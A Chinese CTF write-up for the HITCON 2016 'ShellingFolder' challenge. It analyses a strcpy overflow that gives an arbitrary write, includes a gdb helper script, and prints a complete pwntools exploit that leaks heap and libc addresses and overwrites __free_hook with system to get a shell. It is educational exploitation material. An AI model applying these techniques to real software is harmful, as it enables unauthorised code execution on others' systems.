Hitcon2016之shellingHolder

在调试这道题的时候,遇到了一些问题,这里顺便把整个过程记录下,方便日后查询

调试环境:

系统版本  :kali2.0
glibc版本 :glibc-2.14

这道题实现了一个文件管理器

**************************************
            ShellingFolder            
**************************************
 1.List the current folder            
 2.Change the current folder          
 3.Make a folder                      
 4.Create a file in current folder    
 5.Remove a folder or a file          
 6.Caculate the size of folder        
 7.Exit                               
**************************************
Your choice:

看一下程序开启了那些保护

root@kali ~/桌/shellingFolder# checksec shellingfolder
[!] Couldn't find relocations against PLT to get symbols
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

除了canary,其他的保护都是开启的,可能本题中包含了一些栈相关的漏洞。接下来开始分析逻辑。直接看偏移量比较费劲,所以可以先把已经分析出来的结构定义成为一个结构体,按快捷键Shift+F1插入一个定义

struct dirFile
{
  struct dirFile *childDirFiles[10];
  _QWORD *parent_dir;
  char *filename[32];
  _QWORD size;
  _DWORD type;
};

因为程序开启了PIE,gdb attach上去后下断点不是很方便,所以这里我写了一个小教本

#description : gdb辅助调试脚本
#dependency  : gdb-peda plugin
#function    : mbreak, mheap

python code_addr = peda.get_vmmap('binary')[0][0]
python peda.execute('set $code='+hex(code_addr))

define mbreak
    break * $code + $arg0
end

document mbreak
    mbreak is a helpful command for you to set a breakpoint
    when the debuged program opened the PIE protection
    example:
        mbreak 0x1234    
        means set a breakpoint offset 0x1234 from start of code section
end

set $mheap_opt = 0
set $last_pos = 0
set $start_pos = 0
set $last_offset = 0
define mheap 
    if($mheap_opt == 0)
        python heap_addr = peda.get_vmmap('[heap]')[0][0]
        python peda.execute('set $heap='+hex(heap_addr))
        set $mheap_opt = 1
    end
    if ($argc == 1) 
        set $start_pos = $arg0
        if ($last_offset != $start_pos)
            set $last_pos = 0
            set $last_offset = $start_pos
        end
        x/40a $heap + $last_pos + $start_pos
        python peda.execute("set $arch = " + str(peda.getarch()[1]))
        set $last_pos = $last_pos + 5 * $arch
    end
    if ($argc == 0)
        x/80a $heap 
    end
end

document mheap
    mheap [0ffset], count from head of heap
    example:
        mheap 0x10
end

source aa
define ssa
    session save aa
end

#导入glibc源码
#directory ~/desktop/glibc-2.24/malloc/

在calculate函数中

__int64 __fastcall calculate(DirFile *curFolder)
{
  char filename; // [sp+10h] [bp-30h]@3
  _QWORD *v3; // [sp+28h] [bp-18h]@5
  int i; // [sp+30h] [bp-10h]@3
  __int64 v5; // [sp+38h] [bp-8h]@1

  if ( !curFolder )
    exit(1);
  i = 0;
  memset(&filename, 0, 32uLL);
  while ( i <= 9 )
  {
    if ( curFolder->childDirFiles[i] )
    {
      v3 = &curFolder->size;
      strcpy(&filename, curFolder->childDirFiles[i]->filename);
      if ( curFolder->childDirFiles[i]->type == 1 )// 文件夹
      {
        *v3 = *v3;
      }
      else                                      // 文件
      {
        printf("%s : size %ld\n", &filename, curFolder->childDirFiles[i]->size);
        *v3 += curFolder->childDirFiles[i]->size;
      }
    }
    ++i;
  }
  printf("The size of the folder is %ld\n", curFolder->size);
  return *MK_FP(__FS__, 40LL) ^ v5;
}

函数中调用了strcpy来拷贝文件名到filename变量中,这里filename的大小是24字节,而filename的可控大小为31字节,因此这里存在7字节的溢出。我们来看看进行拷贝时栈的状态

stack结构图

那么,只要我们使用24个字符来填充就可以泄露出栈地址。这里,我们不用考虑零截断的问题,因为出题人自己实现一个没有零截断的strcpy函数(这个坑真是挖的好)

void *__fastcall strcpy(void *a1, const char *a2)
{
  size_t n; // ST28_8@1

  n = strlen(a2);
  return memcpy(a1, a2, n);
}

实际上,这里覆盖的变量实际上是calculate函数中的变量v3,而且,size是完全可控的,这就意味着我们拥有了任意内存写的能力

任意内存写

但是,因为程序开启了PIE,所以我们还需要泄露代码段才能进行常规的利用操作。在本题中,堆上不可能出现栈和代码段的地址,所以常规的利用思路在这里行不通,但可以通过free操作来泄露libc上的地址(这里有一个需要注意的点,为了避免堆合并, 需要申请两个堆,然后释放第一个堆)。
泄露libc地址.png

接下来就是修改文件列表指针,使其指向一个合适的位置就行了,并调用listFolder功能就可以了。

makeFile('a'*24 + '\x10', 0x38)
makeFolder('2')
makeFile('3', 23) 
remove('2')
calculate()
listFolder()
p.recvuntil('----------------------\n')
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info('main_arena addr is ' + hex(main_arena))

如何get shell呢,因为没办法泄露代码段地址,也就没有办法修改got表。别人的writeup里面修改的__free_hook

free_hook.png

这是glibc源码free函数的前面几行,不难发现,__free_hook具有较早的执行时机,其在默认情况下为NULL。
Paste_Image.png

总体上就是这个思路,下面是完整的exp

from pwn import *

def listFolder():
    p.recvuntil('choice:')
    p.sendline('1')

def changeFolder(newFolder):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('Folder')
    p.sendline(newFolder)
   
def makeFolder(name):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('Folder')
    p.sendline(name)

def makeFile(name,size):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('File:')
    p.sendline(name)
    p.recvuntil('File:')
    p.sendline(str(size))

def remove(folderOrFile):
    p.recvuntil('choice:')
    p.sendline('5')
    p.recvuntil('file')
    p.sendline(folderOrFile)

def calculate():
    p.recvuntil('choice:')
    p.sendline('6')

slog = 1
debug = 1

p = process('./shellingfolder')
if slog: context.log_level = True

#step 1. leak heap address
makeFile('a'*24, 23)
calculate()
p.recvuntil('a'*24)
heap_base = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info("heap base is " + hex(heap_base))
remove('a'*24)

#leak main_arena
makeFile('a'*24 + '\x10', 0x38)
makeFolder('2')
makeFile('3', 23)
remove('2')
calculate()
listFolder()
p.recvuntil('----------------------\n')
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info('main_arena addr is ' + hex(main_arena))

free_hook = main_arena + 0x1cb8
log.info('free_hook addr is ' + hex(free_hook))

system_addr = main_arena - 0x3596a0 + 0x30
log.info('system_addr addr is ' + hex(system_addr))

#write system address into __free_hook
makeFile('a'*24 + p64(free_hook)[:6], system_addr & 0xffffffff)
makeFile('a'*24 + p64(free_hook + 4 )[:6], (system_addr >> 32) + 0x1)
makeFile('a'*24 + p64(heap_base + 0x1c0)[:6], u32('sh\x00\x00'))
calculate()

#get shell
remove('3')
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,864评论 6 494
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,175评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,401评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,170评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,276评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,364评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,401评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,179评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,604评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,902评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,070评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,751评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,380评论 3 319
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,077评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,312评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,924评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,957评论 2 351

推荐阅读更多精彩内容

  • __block和__weak修饰符的区别其实是挺明显的:1.__block不管是ARC还是MRC模式下都可以使用,...
    LZM轮回阅读 3,298评论 0 6
  • 史上最全的iOS面试题及答案 iOS面试小贴士———————————————回答好下面的足够了----------...
    Style_伟阅读 2,346评论 0 35
  • *面试心声:其实这些题本人都没怎么背,但是在上海 两周半 面了大约10家 收到差不多3个offer,总结起来就是把...
    Dove_iOS阅读 27,136评论 30 470
  • iOS面试小贴士 ———————————————回答好下面的足够了------------------------...
    不言不爱阅读 1,970评论 0 7
  • 年幼无知,青春懵懂,正是那初升的太阳,给人温暖而不失激情的年华。 人的一生如同白纸点墨,在生命中留下抹...
    衍于木子阅读 433评论 0 1